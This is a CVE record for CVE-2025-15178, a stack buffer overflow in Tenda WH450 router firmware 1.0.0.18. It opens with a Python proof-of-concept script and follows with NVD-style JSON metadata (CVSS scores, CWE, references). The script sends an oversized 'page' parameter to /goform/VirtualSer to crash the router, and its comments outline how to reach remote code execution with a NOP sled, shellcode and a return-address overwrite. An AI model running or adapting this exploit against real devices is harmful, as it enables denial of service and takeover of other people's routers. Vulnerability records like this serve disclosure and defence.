CVE-2025-15178

import requests # CVE-2025-15178 PoC - Tenda WH450 VirtualSer Stack Buffer Overflow # Target: Tenda WH450 router with firmware 1.0.0.18 # Vulnerability: Stack-based buffer overflow in /goform/VirtualSer via page parameter target_ip = "192.168.0.1" # Replace with actual router IP target_port = 80 # Construct malicious payload with oversized 'page' parameter # This triggers stack buffer overflow, potentially overwriting return address payload_size = 1024 # Adjust based on buffer size malicious_page = "A" * payload_size url = f"http://{target_ip}:{target_port}/goform/VirtualSer" params = { "page": malicious_page } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(malicious_page)} bytes") try: response = requests.get(url, params=params, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)} bytes") except requests.exceptions.Timeout: print("[-] Request timeout - target may be vulnerable and crashed") except requests.exceptions.ConnectionError: print("[-] Connection error - target may be down or not responding") # For RCE exploitation, replace 'A' * payload_size with: # NOP sled + shellcode + return address pointing to shellcode # Example return address overwrite for specific firmware: # return_addr = "\xaa\xbb\xcc\xdd" # Replace with actual gadget address # shellcode = "\x90" * 100 + your_shellcode # payload = "\x90" * offset_to_return + return_addr * 4 + shellcode

{"cve": {"id": "CVE-2025-15178", "sourceIdentifier": "[email protected]", "published": "2025-12-29T08:15:51.247", "lastModified": "2025-12-30T21:39:11.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Tenda WH450 1.0.0.18. This issue affects some unknown processing of the file /goform/VirtualSer of the component HTTP Request Handler. The manipulation of the argument page results in stack-based buffer overflow. The attack can be launched remotely. The exploit has been made public and could be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:C/I:C/A:C", "baseScore": 8.3, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 6.4, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:wh450_firmware:1.0.0.18:*:*:*:*:*:*:*", "matchCriteriaId": "D139CB33-CD57-41A7-93EF-E84B1F6D2814"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:wh450:-:*:*:*:*:*:*:*", "matchCriteriaId": "395B4439-4840-4353-B963-B82AC569E265"}]}]}], "references": [{"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/BOF/Tenda_WH450/VirtualSer/VirtualSer.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/BOF/Tenda_WH450/VirtualSer/VirtualSer.md#reproduce", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.338563", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.338563", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.721217", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}]}}